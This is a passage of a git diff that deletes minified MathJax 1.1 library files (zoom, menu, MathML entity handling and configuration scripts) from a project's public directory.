d=function(j){if(!j){j=window.event}if(j){if(j.preventDefault){j.preventDefault()}if(j.stopPropagation){j.stopPropagation()}j.cancelBubble=true;j.returnValue=false}return false};var f=MathJax.Extension.MathZoom={version:i,settings:a.config.menuSettings,HandleEvent:function(l,j,k){if(!l){l=window.event}if(f.settings.CTRL&&!l.ctrlKey){return true}if(f.settings.ALT&&!l.altKey){return true}if(f.settings.CMD&&!l.metaKey){return true}if(f.settings.Shift&&!l.shiftKey){return true}return f[j](l,k)},Click:function(k,j){if(this.settings.zoom==="Click"){return this.Zoom(j,k)}},DblClick:function(k,j){if(this.settings.zoom==="Double-Click"){return this.Zoom(j,k)}},Mouseover:function(k,j){if(this.settings.zoom==="Hover"){f.oldMouseOver=j.onmouseover;j.onmouseover=null;j.onmousemove=this.Mousemove;j.onmouseout=this.Mouseout;return f.Timer(k,j)}},Mouseout:function(j){this.onmouseover=f.oldMouseOver;delete f.oldMouseOver;this.onmousemove=this.onmouseout=null;f.ClearTimer();return d(j)},Mousemove:function(j){return f.Timer(j||window.event,this)},Timer:function(k,j){this.ClearTimer();this.timer=setTimeout(MathJax.Callback(["Zoom",this,j,{}]),g.delay);return d(k)},ClearTimer:function(){if(this.timer){clearTimeout(this.timer);delete this.timer}},Zoom:function(s,l){this.ClearTimer();this.Remove();var v=s.parentNode;if(v.className==="MathJax_MathContainer"){v=v.parentNode}if(v.parentNode.className==="MathJax_MathContainer"){v=v.parentNode.parentNode}var q=(String(v.className).match(/^MathJax_(MathML|Display)$/)?v:s).nextSibling;var m=a.getJaxFor(q),r=m.root;var o=(b&&m.outputJax.isa(b.constructor)?"HTMLCSS":(h&&m.outputJax.isa(h.constructor)?"MathML":null));if(!o){return}var j=Math.floor(0.85*document.body.clientWidth),p=Math.floor(0.85*document.body.clientHeight);var k=c.Element("span",{style:{position:"relative",display:"inline-block",height:0,width:0},id:"MathJax_ZoomFrame"},[["span",{id:"MathJax_ZoomOverlay",onmousedown:this.Remove}],["span",{id:"MathJax_Zoom",onclick:this.Remove,style:{visibility:"hidden",fontSize:this.settings.zscale,"max-width":j+"px","max-height":p+"px"}},[["span"]]]]);var x=k.lastChild,u=x.firstChild,n=k.firstChild;s.parentNode.insertBefore(k,s);if(this.msieZIndexBug){var t=c.Element("img",{src:"about:blank",id:"MathJax_ZoomTracker",style:{width:0,height:0,position:"relative"}});document.body.appendChild(k);k.style.position="absolute";k.style.zIndex=g.styles["#MathJax_ZoomOverlay"]["z-index"];k=t}var w=(this["Zoom"+o])(r,u,s);if(this.msiePositionBug){if(this.msieIE8Bug){u.style.position="absolute";x.style.height=u.offsetHeight;u.style.position="";if(x.offsetHeight<=p&&x.offsetWidth<=j){x.style.overflow="visible"}}if(this.msieWidthBug){x.style.width=Math.min(j,w.w)}else{if(w.w>j){x.style.width=j}}if(x.offsetHeight>p){x.style.Height=p+"px"}if(s.nextSibling){s.parentNode.insertBefore(k,s.nextSibling)}else{v.appendChild(k)}}else{if(this.operaPositionBug){x.style.width=Math.min(j,u.offsetWidth)+"px"}}this.Position(x,w,(o==="MathML"&&v.nodeName.toLowerCase()==="div"));x.style.visibility="";if(this.settings.zoom==="Hover"){n.onmouseover=this.Remove}if(window.addEventListener){addEventListener("resize",this.Resize,false)}else{if(window.attachEvent){attachEvent("onresize",this.Resize)}else{this.onresize=window.onresize;window.onresize=this.Resize}}return d(l)},ZoomHTMLCSS:function(o,q,p){q.className="MathJax";b.idPostfix="-zoom";b.getScales(q,q);o.toHTML(q,q);var r=o.HTMLspanElement().bbox;b.idPostfix="";if(r.width&&r.width!=="100%"){var j=Math.floor(0.85*document.body.clientWidth);q.style.width=j+"px";q.style.display="inline-block";var k=(o.id||"MathJax-Span-"+o.spanID)+"-zoom";var l=document.getElementById(k).firstChild;while(l&&l.style.width!==r.width){l=l.nextSibling}if(l){l.style.width="100%"}}q.appendChild(this.topImg);var n=this.topImg.offsetTop;q.removeChild(this.topImg);var m=(this.msieWidthBug?b.getW(p)*b.em:p.offsetWidth);return{w:r.w*b.em,Y:-n,W:m}},ZoomMathML:function(k,l,m){k.toNativeMML(l,l);var n;l.appendChild(this.topImg);n=this.topImg.offsetTop;l.removeChild(this.topImg);var j=(this.ffMMLwidthBug?m.parentNode:m).offsetWidth;return{w:l.offsetWidth,Y:-n,W:j}},Position:function(p,n,r){var k=this.Resize(),m=k.x,l=k.y,j=n.W;if(this.msiePositionBug){j=-j}if(r&&this.ffMMLcenterBug){j=0}var q=-Math.floor((p.offsetWidth-j)/2),o=n.Y;p.style.left=Math.max(q,20-m)+"px";p.style.top=Math.max(o,20-l)+"px"},Resize:function(l){if(f.onresize){f.onresize(l)}var j=0,o=0,n=document.getElementById("MathJax_ZoomFrame"),k=document.getElementById("MathJax_ZoomOverlay");var m=(f.msieZIndexBug?document.getElementById("MathJax_ZoomTracker"):n);if(f.operaPositionBug){n.style.border="1px solid"}if(m.offsetParent){do{j+=m.offsetLeft;o+=m.offsetTop}while(m=m.offsetParent)}if(f.operaPositionBug){n.style.border=""}if(f.msieZIndexBug){n.style.left=j+"px";n.style.top=o+"px"}k.style.left=(-j)+"px";k.style.top=(-o)+"px";if(f.msiePositionBug){setTimeout(f.SetWH,0)}else{f.SetWH()}return{x:j,y:o}},SetWH:function(){var j=document.getElementById("MathJax_ZoomOverlay");j.style.width=j.style.height="1px";j.style.width=document.body.scrollWidth+"px";j.style.height=document.body.scrollHeight+"px"},Remove:function(k){var l=document.getElementById("MathJax_ZoomFrame");if(l){l.parentNode.removeChild(l);l=document.getElementById("MathJax_ZoomTracker");if(l){l.parentNode.removeChild(l)}if(f.operaRefreshBug){var j=c.addElement(document.body,"div",{style:{position:"fixed",left:0,top:0,width:"100%",height:"100%",backgroundColor:"white",opacity:0},id:"MathJax_OperaDiv"});document.body.removeChild(j)}if(window.removeEventListener){removeEventListener("resize",f.Resize,false)}else{if(window.detachEvent){detachEvent("onresize",f.Resize)}else{window.onresize=f.onresize;delete f.onresize}}}return d(k)}};a.Register.StartupHook("HTML-CSS Jax Ready",function(){b=MathJax.OutputJax["HTML-CSS"];b.Augment({HandleEvent:f.HandleEvent})});a.Register.StartupHook("NativeMML Jax Ready",function(){h=MathJax.OutputJax.NativeMML;h.Augment({HandleEvent:f.HandleEvent,MSIEmouseup:function(l,k,j){if(this.trapUp){delete this.trapUp;return true}if(this.MSIEzoomKeys(l)){return true}return false},MSIEclick:function(l,k,j){if(this.trapClick){delete this.trapClick;return true}if(!this.MSIEzoomKeys(l)){return false}if(!this.settings.zoom.match(/Click/)){return false}return(f.Click(l,k)===false)},MSIEdblclick:function(l,k,j){if(!this.MSIEzoomKeys(l)){return false}return(f.DblClick(l,k)===false)},MSIEmouseover:function(l,k,j){if(this.settings.zoom!=="Hover"){return false}f.Timer(l,k);return true},MSIEmouseout:function(l,k,j){if(this.settings.zoom!=="Hover"){return false}f.ClearTimer();return true},MSIEmousemove:function(l,k,j){if(this.settings.zoom!=="Hover"){return false}f.Timer(l,k);return true},MSIEzoomKeys:function(j){if(this.settings.CTRL&&!j.ctrlKey){return false}if(this.settings.CMD&&!j.metaKey){return false}if(this.settings.ALT&&!j.altKey){return false}if(this.settings.Shift&&!j.shiftKey){return false}return true}})});a.Browser.Select({MSIE:function(j){var k=(document.compatMode==="BackCompat");var l=j.versionAtLeast("8.0")&&document.documentMode>7;f.msiePositionBug=true;f.msieWidthBug=!k;f.msieIE8Bug=l;f.msieZIndexBug=!l;f.msieInlineBlockAlignBug=(!l||k);if(document.documentMode>=9){delete g.styles["#MathJax_Zoom"].filter}},Opera:function(j){f.operaPositionBug=true;f.operaRefreshBug=true},Firefox:function(j){f.ffMMLwidthBug=true;f.ffMMLcenterBug=true}});f.topImg=(f.msieInlineBlockAlignBug?c.Element("img",{style:{width:0,height:0},src:"about:blank"}):c.Element("span",{style:{width:0,height:0,display:"inline-block"}}));if(f.operaPositionBug){f.topImg.style.border="1px solid"}MathJax.Callback.Queue(["Styles",e,g.styles],["Post",a.Startup.signal,"MathZoom Ready"],["loadComplete",e,"[MathJax]/extensions/MathZoom.js"])})(MathJax.Hub,MathJax.HTML,MathJax.Ajax,MathJax.OutputJax["HTML-CSS"],MathJax.OutputJax.NativeMML);
-
-(function(b,c,f){var k="1.1.4";MathJax.Extension.MathMenu={version:k};var i=b.Browser.isPC,g=b.Browser.isMSIE;var e=(i?null:"5px");var j=b.CombineConfig("MathMenu",{delay:150,helpURL:"http://www.mathjax.org/help/user/",showRenderer:true,showFontMenu:false,showContext:false,windowSettings:{status:"no",toolbar:"no",locationbar:"no",menubar:"no",directories:"no",personalbar:"no",resizable:"yes",scrollbars:"yes",width:100,height:50},styles:{"#MathJax_About":{position:"fixed",left:"50%",width:"auto","text-align":"center",border:"3px outset",padding:"1em 2em","background-color":"#DDDDDD",color:"black",cursor:"default","font-family":"message-box","font-size":"120%","font-style":"normal","text-indent":0,"text-transform":"none","line-height":"normal","letter-spacing":"normal","word-spacing":"normal","word-wrap":"normal","white-space":"nowrap","float":"none","z-index":201,"border-radius":"15px","-webkit-border-radius":"15px","-moz-border-radius":"15px","-khtml-border-radius":"15px","box-shadow":"0px 10px 20px #808080","-webkit-box-shadow":"0px 10px 20px #808080","-moz-box-shadow":"0px 10px 20px #808080","-khtml-box-shadow":"0px 10px 20px #808080",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')"},".MathJax_Menu":{position:"absolute","background-color":"white",color:"black",width:"auto",padding:(i?"2px":"5px 0px"),border:"1px solid #CCCCCC",margin:0,cursor:"default",font:"menu","text-align":"left","text-indent":0,"text-transform":"none","line-height":"normal","letter-spacing":"normal","word-spacing":"normal","word-wrap":"normal","white-space":"nowrap","float":"none","z-index":201,"border-radius":e,"-webkit-border-radius":e,"-moz-border-radius":e,"-khtml-border-radius":e,"box-shadow":"0px 10px 20px #808080","-webkit-box-shadow":"0px 10px 20px #808080","-moz-box-shadow":"0px 10px 20px #808080","-khtml-box-shadow":"0px 10px 20px #808080",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')"},".MathJax_MenuItem":{padding:(i?"2px 2em":"1px 2em"),background:"transparent"},".MathJax_MenuTitle":{"background-color":"#CCCCCC",margin:(i?"-1px -1px 1px -1px":"-5px 0 0 0"),"text-align":"center","font-style":"italic","font-size":"80%",color:"#444444",padding:"2px 0",overflow:"hidden"},".MathJax_MenuArrow":{position:"absolute",right:".5em",color:"#666666","font-family":(g?"'Arial unicode MS'":null)},".MathJax_MenuActive .MathJax_MenuArrow":{color:"white"},".MathJax_MenuCheck":{position:"absolute",left:".7em","font-family":(g?"'Arial unicode MS'":null)},".MathJax_MenuRadioCheck":{position:"absolute",left:(i?"1em":".7em")},".MathJax_MenuLabel":{padding:(i?"2px 2em 4px 1.33em":"1px 2em 3px 1.33em"),"font-style":"italic"},".MathJax_MenuRule":{"border-top":(i?"1px solid #CCCCCC":"1px solid #DDDDDD"),margin:(i?"4px 1px 0px":"4px 3px")},".MathJax_MenuDisabled":{color:"GrayText"},".MathJax_MenuActive":{"background-color":(i?"Highlight":"#606872"),color:(i?"HighlightText":"white")}}});var d=function(l){if(!l){l=window.event}if(l){if(l.preventDefault){l.preventDefault()}if(l.stopPropagation){l.stopPropagation()}l.cancelBubble=true;l.returnValue=false}return false};var a=MathJax.Menu=MathJax.Object.Subclass({version:k,items:[],posted:false,title:null,margin:5,Init:function(l){this.items=[].slice.call(arguments,0)},With:function(l){if(l){b.Insert(this,l)}return this},Post:function(n,v){if(!n){n=window.event}var t=(!this.title?null:[["div",{className:"MathJax_MenuTitle"},[this.title]]]);var l=document.getElementById("MathJax_MenuFrame");if(!l){l=a.Background(this)}var o=c.addElement(l,"div",{onmouseup:a.Mouseup,ondblclick:this.False,ondragstart:this.False,onselectstart:this.False,oncontextmenu:this.False,menuItem:this,className:"MathJax_Menu"},t);for(var q=0,p=this.items.length;q<p;q++){this.items[q].Create(o)}this.posted=true;o.style.width=(o.offsetWidth+2)+"px";var u=n.pageX,s=n.pageY;if(!u&&!s){u=n.clientX+document.body.scrollLeft+document.documentElement.scrollLeft;s=n.clientY+document.body.scrollTop+document.documentElement.scrollTop}if(!v){if(u+o.offsetWidth>document.body.offsetWidth-this.margin){u=document.body.offsetWidth-o.offsetWidth-this.margin}a.skipUp=true}else{var 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a.skipUp}else{this.Remove(l,m)}},False:d},{config:j,div:null,Remove:function(l){a.Event(l,this,"Remove")},Mouseover:function(l){a.Event(l,this,"Mouseover")},Mouseout:function(l){a.Event(l,this,"Mouseout")},Mousedown:function(l){a.Event(l,this,"Mousedown")},Mouseup:function(l){a.Event(l,this,"Mouseup")},Mousemove:function(l){a.Event(l,this,"Mousemove")},Event:function(n,o,l){if(!n){n=window.event}var m=o.menuItem;if(m&&m[l]){return m[l](n,o)}return null},BGSTYLE:{position:"absolute",left:0,top:0,"z-index":200,width:"100%",height:"100%",border:0,padding:0,margin:0},Background:function(m){var n=c.addElement(document.body,"div",{style:this.BGSTYLE,id:"MathJax_MenuFrame"},[["div",{style:this.BGSTYLE,menuItem:m,onmousedown:this.Remove}]]);var l=n.firstChild;if(m.msieBackgroundBug){l.style.backgroundColor="white";l.style.filter="alpha(opacity=0)";n.width=n.height=0;this.Resize();attachEvent("onresize",this.Resize)}else{l.style.position="fixed"}return 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MathJax.");return(this.parseError)}this.parser.async=false;return(this.parseMS)}}this.div=MathJax.Hub.Insert(document.createElement("div"),{style:{visibility:"hidden",overflow:"hidden",height:"1px",position:"absolute",top:0}});if(!document.body.firstChild){document.body.appendChild(this.div)}else{document.body.insertBefore(this.div,document.body.firstChild)}return(this.parseDIV)},Startup:function(){a=MathJax.ElementJax.mml;a.mspace.Augment({mmlSelfClosing:true});a.none.Augment({mmlSelfClosing:true});a.mprescripts.Augment({mmlSelfClossing:true})}});b.Parse.Entity={ApplyFunction:"\u2061",Backslash:"\u2216",Because:"\u2235",Breve:"\u02D8",Cap:"\u22D2",CenterDot:"\u00B7",CircleDot:"\u2299",CircleMinus:"\u2296",CirclePlus:"\u2295",CircleTimes:"\u2297",Congruent:"\u2261",ContourIntegral:"\u222E",Coproduct:"\u2210",Cross:"\u2A2F",Cup:"\u22D3",CupCap:"\u224D",Dagger:"\u2021",Del:"\u2207",Delta:"\u0394",Diamond:"\u22C4",DifferentialD:"\u2146",DotEqual:"\u2250",DoubleDot:"\u00A8",DoubleRightTee:"\u22A8",DoubleVerticalBar:"\u2225",DownArrow:"\u2193",DownLeftVector:"\u21BD",DownRightVector:"\u21C1",DownTee:"\u22A4",Downarrow:"\u21D3",Element:"\u2208",EqualTilde:"\u2242",Equilibrium:"\u21CC",Exists:"\u2203",ExponentialE:"\u2147",FilledVerySmallSquare:"\u25AA",ForAll:"\u2200",Gamma:"\u0393",Gg:"\u22D9",GreaterEqual:"\u2265",GreaterEqualLess:"\u22DB",GreaterFullEqual:"\u2267",GreaterLess:"\u2277",GreaterSlantEqual:"\u2A7E",GreaterTilde:"\u2273",Hacek:"\u02C7",Hat:"\u005E",HumpDownHump:"\u224E",HumpEqual:"\u224F",Im:"\u2111",ImaginaryI:"\u2148",Integral:"\u222B",Intersection:"\u22C2",InvisibleComma:"\u2063",InvisibleTimes:"\u2062",Lambda:"\u039B",Larr:"\u219E",LeftAngleBracket:"\u27E8",LeftArrow:"\u2190",LeftArrowRightArrow:"\u21C6",LeftCeiling:"\u2308",LeftDownVector:"\u21C3",LeftFloor:"\u230A",LeftRightArrow:"\u2194",LeftTee:"\u22A3",LeftTriangle:"\u22B2",LeftTriangleEqual:"\u22B4",LeftUpVector:"\u21BF",LeftVector:"\u21BC",Leftarrow:"\u21D0",Leftrightarrow:"\u21D4",LessEqualGreater:"\u22DA",LessFullEqual:"\u2266",LessGreater:"\u2276",LessSlantEqual:"\u2A7D",LessTilde:"\u2272",Ll:"\u22D8",Lleftarrow:"\u21DA",LongLeftArrow:"\u27F5",LongLeftRightArrow:"\u27F7",LongRightArrow:"\u27F6",Longleftarrow:"\u27F8",Longleftrightarrow:"\u27FA",Longrightarrow:"\u27F9",Lsh:"\u21B0",MinusPlus:"\u2213",NestedGreaterGreater:"\u226B",NestedLessLess:"\u226A",NotDoubleVerticalBar:"\u2226",NotElement:"\u2209",NotEqual:"\u2260",NotExists:"\u2204",NotGreater:"\u226F",NotGreaterEqual:"\u2271",NotLeftTriangle:"\u22EA",NotLeftTriangleEqual:"\u22EC",NotLess:"\u226E",NotLessEqual:"\u2270",NotPrecedes:"\u2280",NotPrecedesSlantEqual:"\u22E0",NotRightTriangle:"\u22EB",NotRightTriangleEqual:"\u22ED",NotSubsetEqual:"\u2288",NotSucceeds:"\u2281",NotSucceedsSlantEqual:"\u22E1",NotSupersetEqual:"\u2289",NotTilde:"\u2241",NotVerticalBar:"\u2224",Omega:"\u03A9",OverBar:"\u203E",OverBrace:"\u23DE",PartialD:"\u2202",Phi:"\u03A6",Pi:"\u03A0",PlusMinus:"\u00B1",Precedes:"\u227A",PrecedesEqual:"\u2AAF",PrecedesSlantEqual:"\u227C",PrecedesTilde:"\u227E",Product:"\u220F",Proportional:"\u221D",Psi:"\u03A8",Rarr:"\u21A0",Re:"\u211C",ReverseEquilibrium:"\u21CB",RightAngleBracket:"\u27E9",RightArrow:"\u2192",RightArrowLeftArrow:"\u21C4",RightCeiling:"\u2309",RightDownVector:"\u21C2",RightFloor:"\u230B",RightTee:"\u22A2",RightTeeArrow:"\u21A6",RightTriangle:"\u22B3",RightTriangleEqual:"\u22B5",RightUpVector:"\u21BE",RightVector:"\u21C0",Rightarrow:"\u21D2",Rrightarrow:"\u21DB",Rsh:"\u21B1",Sigma:"\u03A3",SmallCircle:"\u2218",Sqrt:"\u221A",Square:"\u25A1",SquareIntersection:"\u2293",SquareSubset:"\u228F",SquareSubsetEqual:"\u2291",SquareSuperset:"\u2290",SquareSupersetEqual:"\u2292",SquareUnion:"\u2294",Star:"\u22C6",Subset:"\u22D0",SubsetEqual:"\u2286",Succeeds:"\u227B",SucceedsEqual:"\u2AB0",SucceedsSlantEqual:"\u227D",SucceedsTilde:"\u227F",SuchThat:"\u220B",Sum:"\u2211",Superset:"\u2283",SupersetEqual:"\u2287",Supset:"\u22D1",Therefore:"\u2234",Theta:"\u0398",Tilde:"\u223C",TildeEqual:"\u2243",TildeFullEqual:"\u2245",TildeTilde:"\u2248",UnderBar:"\u005F",UnderBrace:"\u23DF",Union:"\u22C3",UnionPlus:"\u228E",UpArrow:"\u2191",UpDownArrow:"\u2195",UpTee:"\u22A5",Uparrow:"\u21D1",Updownarrow:"\u21D5",Upsilon:"\u03A5",Vdash:"\u22A9",Vee:"\u22C1",VerticalBar:"\u2223",VerticalTilde:"\u2240",Vvdash:"\u22AA",Wedge:"\u22C0",Xi:"\u039E",acute:"\u00B4",aleph:"\u2135",alpha:"\u03B1",amalg:"\u2A3F",and:"\u2227",ang:"\u2220",angmsd:"\u2221",angsph:"\u2222",ape:"\u224A",backprime:"\u2035",backsim:"\u223D",backsimeq:"\u22CD",beta:"\u03B2",beth:"\u2136",between:"\u226C",bigcirc:"\u25EF",bigodot:"\u2A00",bigoplus:"\u2A01",bigotimes:"\u2A02",bigsqcup:"\u2A06",bigstar:"\u2605",bigtriangledown:"\u25BD",bigtriangleup:"\u25B3",biguplus:"\u2A04",blacklozenge:"\u29EB",blacktriangle:"\u25B4",blacktriangledown:"\u25BE",blacktriangleleft:"\u25C2",bowtie:"\u22C8",boxdl:"\u2510",boxdr:"\u250C",boxminus:"\u229F",boxplus:"\u229E",boxtimes:"\u22A0",boxul:"\u2518",boxur:"\u2514",bsol:"\u005C",bull:"\u2022",cap:"\u2229",check:"\u2713",chi:"\u03C7",circ:"\u02C6",circeq:"\u2257",circlearrowleft:"\u21BA",circlearrowright:"\u21BB",circledR:"\u00AE",circledS:"\u24C8",circledast:"\u229B",circledcirc:"\u229A",circleddash:"\u229D",clubs:"\u2663",colon:"\u003A",comp:"\u2201",ctdot:"\u22EF",cuepr:"\u22DE",cuesc:"\u22DF",cularr:"\u21B6",cup:"\u222A",curarr:"\u21B7",curlyvee:"\u22CE",curlywedge:"\u22CF",dagger:"\u2020",daleth:"\u2138",ddarr:"\u21CA",deg:"\u00B0",delta:"\u03B4",digamma:"\u03DD",div:"\u00F7",divideontimes:"\u22C7",dot:"\u02D9",doteqdot:"\u2251",dotplus:"\u2214",dotsquare:"\u22A1",dtdot:"\u22F1",ecir:"\u2256",efDot:"\u2252",egs:"\u2A96",ell:"\u2113",els:"\u2A95",empty:"\u2205",epsi:"\u03B5",epsiv:"\u03F5",erDot:"\u2253",eta:"\u03B7",eth:"\u00F0",flat:"\u266D",fork:"\u22D4",frown:"\u2322",gEl:"\u2A8C",gamma:"\u03B3",gap:"\u2A86",gimel:"\u2137",gnE:"\u2269",gnap:"\u2A8A",gne:"\u2A88",gnsim:"\u22E7",gt:"\u003E",gtdot:"\u22D7",harrw:"\u21AD",hbar:"\u210F",hellip:"\u2026",hookleftarrow:"\u21A9",hookrightarrow:"\u21AA",imath:"\u0131",infin:"\u221E",intcal:"\u22BA",iota:"\u03B9",jmath:"\u0237",kappa:"\u03BA",kappav:"\u03F0",lEg:"\u2A8B",lambda:"\u03BB",lap:"\u2A85",larrlp:"\u21AB",larrtl:"\u21A2",lbrace:"\u007B",lbrack:"\u005B",le:"\u2264",leftleftarrows:"\u21C7",leftthreetimes:"\u22CB",lessdot:"\u22D6",lmoust:"\u23B0",lnE:"\u2268",lnap:"\u2A89",lne:"\u2A87",lnsim:"\u22E6",longmapsto:"\u27FC",looparrowright:"\u21AC",lowast:"\u2217",loz:"\u25CA",lt:"\u003C",ltimes:"\u22C9",ltri:"\u25C3",macr:"\u00AF",malt:"\u2720",mho:"\u2127",mu:"\u03BC",multimap:"\u22B8",nLeftarrow:"\u21CD",nLeftrightarrow:"\u21CE",nRightarrow:"\u21CF",nVDash:"\u22AF",nVdash:"\u22AE",natur:"\u266E",nearr:"\u2197",nharr:"\u21AE",nlarr:"\u219A",not:"\u00AC",nrarr:"\u219B",nu:"\u03BD",nvDash:"\u22AD",nvdash:"\u22AC",nwarr:"\u2196",omega:"\u03C9",omicron:"\u03BF",or:"\u2228",osol:"\u2298",period:"\u002E",phi:"\u03C6",phiv:"\u03D5",pi:"\u03C0",piv:"\u03D6",prap:"\u2AB7",precnapprox:"\u2AB9",precneqq:"\u2AB5",precnsim:"\u22E8",prime:"\u2032",psi:"\u03C8",rarrtl:"\u21A3",rbrace:"\u007D",rbrack:"\u005D",rho:"\u03C1",rhov:"\u03F1",rightrightarrows:"\u21C9",rightthreetimes:"\u22CC",ring:"\u02DA",rmoust:"\u23B1",rtimes:"\u22CA",rtri:"\u25B9",scap:"\u2AB8",scnE:"\u2AB6",scnap:"\u2ABA",scnsim:"\u22E9",sdot:"\u22C5",searr:"\u2198",sect:"\u00A7",sharp:"\u266F",sigma:"\u03C3",sigmav:"\u03C2",simne:"\u2246",smile:"\u2323",spades:"\u2660",sub:"\u2282",subE:"\u2AC5",subnE:"\u2ACB",subne:"\u228A",supE:"\u2AC6",supnE:"\u2ACC",supne:"\u228B",swarr:"\u2199",tau:"\u03C4",theta:"\u03B8",thetav:"\u03D1",tilde:"\u02DC",times:"\u00D7",triangle:"\u25B5",triangleq:"\u225C",upsi:"\u03C5",upuparrows:"\u21C8",veebar:"\u22BB",vellip:"\u22EE",weierp:"\u2118",xi:"\u03BE",yen:"\u00A5",zeta:"\u03B6",zigrarr:"\u21DD"};b.loadComplete("jax.js")})(MathJax.InputJax.MathML,MathJax.Hub.Browser);
-
-MathJax.Ajax.loadComplete("[MathJax]/config/MML_HTMLorMML.js");
diff --git a/public/MathJax/config/MMLorHTML.js b/public/MathJax/config/MMLorHTML.js
deleted file mode 100644
index b19f5fcd..00000000
--- a/public/MathJax/config/MMLorHTML.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/config/MMLorHTML.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(c){var h="1.1.1";var a=MathJax.Hub.CombineConfig("MMLorHTML",{prefer:{MSIE:"MML",Firefox:"MML",Opera:"HTML",other:"HTML"}});var e={Firefox:3,Opera:9.52,MSIE:6,Chrome:0.3,Safari:2,Konqueror:4};var b=(c.Browser.version==="0.0"||c.Browser.versionAtLeast(e[c.Browser]||0));var g=false;if(!c.Browser.isIE9){try{new ActiveXObject("MathPlayer.Factory.1");g=true}catch(f){}}var d=(c.Browser.isFirefox&&c.Browser.versionAtLeast("1.5"))||(c.Browser.isMSIE&&g)||(c.Browser.isOpera&&c.Browser.versionAtLeast("9.52"));c.Register.StartupHook("End Config",function(){var i=(a.prefer&&typeof(a.prefer)==="object"?a.prefer[MathJax.Hub.Browser]||a.prefer.other||"HTML":a.prefer);if(b||d){if(d&&(i==="MML"||!b)){if(MathJax.OutputJax.NativeMML){MathJax.OutputJax.NativeMML.Register("jax/mml")}else{c.config.jax.unshift("output/NativeMML")}c.Startup.signal.Post("NativeMML output selected")}else{if(MathJax.OutputJax["HTML-CSS"]){MathJax.OutputJax["HTML-CSS"].Register("jax/mml")}else{c.config.jax.unshift("output/HTML-CSS")}c.Startup.signal.Post("HTML-CSS output selected")}}else{c.PreProcess.disabled=true;c.prepareScripts.disabled=true;MathJax.Message.Set("Your browser does not support MathJax",null,4000);c.Startup.signal.Post("MathJax not supported")}})})(MathJax.Hub);MathJax.Ajax.loadComplete("[MathJax]/config/MMLorHTML.js");
-
diff --git a/public/MathJax/config/TeX-AMS-MML_HTMLorMML-full.js b/public/MathJax/config/TeX-AMS-MML_HTMLorMML-full.js
deleted file mode 100644
index e80e3d86..00000000
--- a/public/MathJax/config/TeX-AMS-MML_HTMLorMML-full.js
+++ /dev/null
@@ -1,82 +0,0 @@
-/*
- *  /MathJax/config/TeX-AMS-MML_HTMLorMML-full.js
- *  
- *  Copyright (c) 2010-11 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Config({delayJaxRegistration: true});
-
-MathJax.Ajax.Preloading(
-  "[MathJax]/jax/input/TeX/config.js",
-  "[MathJax]/jax/input/MathML/config.js",
-  "[MathJax]/jax/output/HTML-CSS/config.js",
-  "[MathJax]/jax/output/NativeMML/config.js",
-  "[MathJax]/config/MMLorHTML.js",
-  "[MathJax]/extensions/tex2jax.js",
-  "[MathJax]/extensions/mml2jax.js",
-  "[MathJax]/extensions/MathZoom.js",
-  "[MathJax]/extensions/MathMenu.js",
-  "[MathJax]/jax/element/mml/jax.js",
-  "[MathJax]/extensions/toMathML.js",
-  "[MathJax]/extensions/TeX/noErrors.js",
-  "[MathJax]/extensions/TeX/noUndefined.js",
-  "[MathJax]/jax/input/TeX/jax.js",
-  "[MathJax]/extensions/TeX/AMSmath.js",
-  "[MathJax]/extensions/TeX/AMSsymbols.js",
-  "[MathJax]/jax/input/MathML/jax.js",
-  "[MathJax]/jax/output/NativeMML/jax.js",
-  "[MathJax]/jax/output/HTML-CSS/jax.js",
-  "[MathJax]/jax/output/HTML-CSS/autoload/mtable.js"
-);
-
-MathJax.Hub.Config({"v1.0-compatible":false});
-
-MathJax.InputJax.TeX=MathJax.InputJax({id:"TeX",version:"1.1.1",directory:MathJax.InputJax.directory+"/TeX",extensionDir:MathJax.InputJax.extensionDir+"/TeX",config:{TagSide:"right",TagIndent:"0.8em",MultLineWidth:"85%"}});MathJax.InputJax.TeX.Register("math/tex");MathJax.InputJax.TeX.loadComplete("config.js");
-
-MathJax.InputJax.MathML=MathJax.InputJax({id:"MathML",version:"1.1.4",directory:MathJax.InputJax.directory+"/MathML",extensionDir:MathJax.InputJax.extensionDir+"/MathML",entityDir:MathJax.InputJax.directory+"/MathML/entities",config:{useMathMLspacing:false}});MathJax.InputJax.MathML.Register("math/mml");MathJax.InputJax.MathML.loadComplete("config.js");
-
-MathJax.OutputJax["HTML-CSS"]=MathJax.OutputJax({id:"HTML-CSS",version:"1.1.5",directory:MathJax.OutputJax.directory+"/HTML-CSS",extensionDir:MathJax.OutputJax.extensionDir+"/HTML-CSS",autoloadDir:MathJax.OutputJax.directory+"/HTML-CSS/autoload",fontDir:MathJax.OutputJax.directory+"/HTML-CSS/fonts",webfontDir:MathJax.OutputJax.fontDir+"/HTML-CSS",config:{scale:100,minScaleAdjust:50,availableFonts:["STIX","TeX"],preferredFont:"TeX",webFont:"TeX",imageFont:"TeX",undefinedFamily:"STIXGeneral,'Arial Unicode MS',serif",showMathMenu:true,styles:{".MathJax_Display":{"text-align":"center",margin:"1em 0em"},".MathJax .merror":{"background-color":"#FFFF88",color:"#CC0000",border:"1px solid #CC0000",padding:"1px 3px","font-family":"serif","font-style":"normal","font-size":"90%"},".MathJax_Preview":{color:"#888888"},"#MathJax_Tooltip":{"background-color":"InfoBackground",color:"InfoText",border:"1px solid black","box-shadow":"2px 2px 5px #AAAAAA","-webkit-box-shadow":"2px 2px 5px #AAAAAA","-moz-box-shadow":"2px 2px 5px #AAAAAA","-khtml-box-shadow":"2px 2px 5px #AAAAAA",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')",padding:"3px 4px"}}}});if(MathJax.Hub.Browser.isMSIE&&document.documentMode>=9){delete 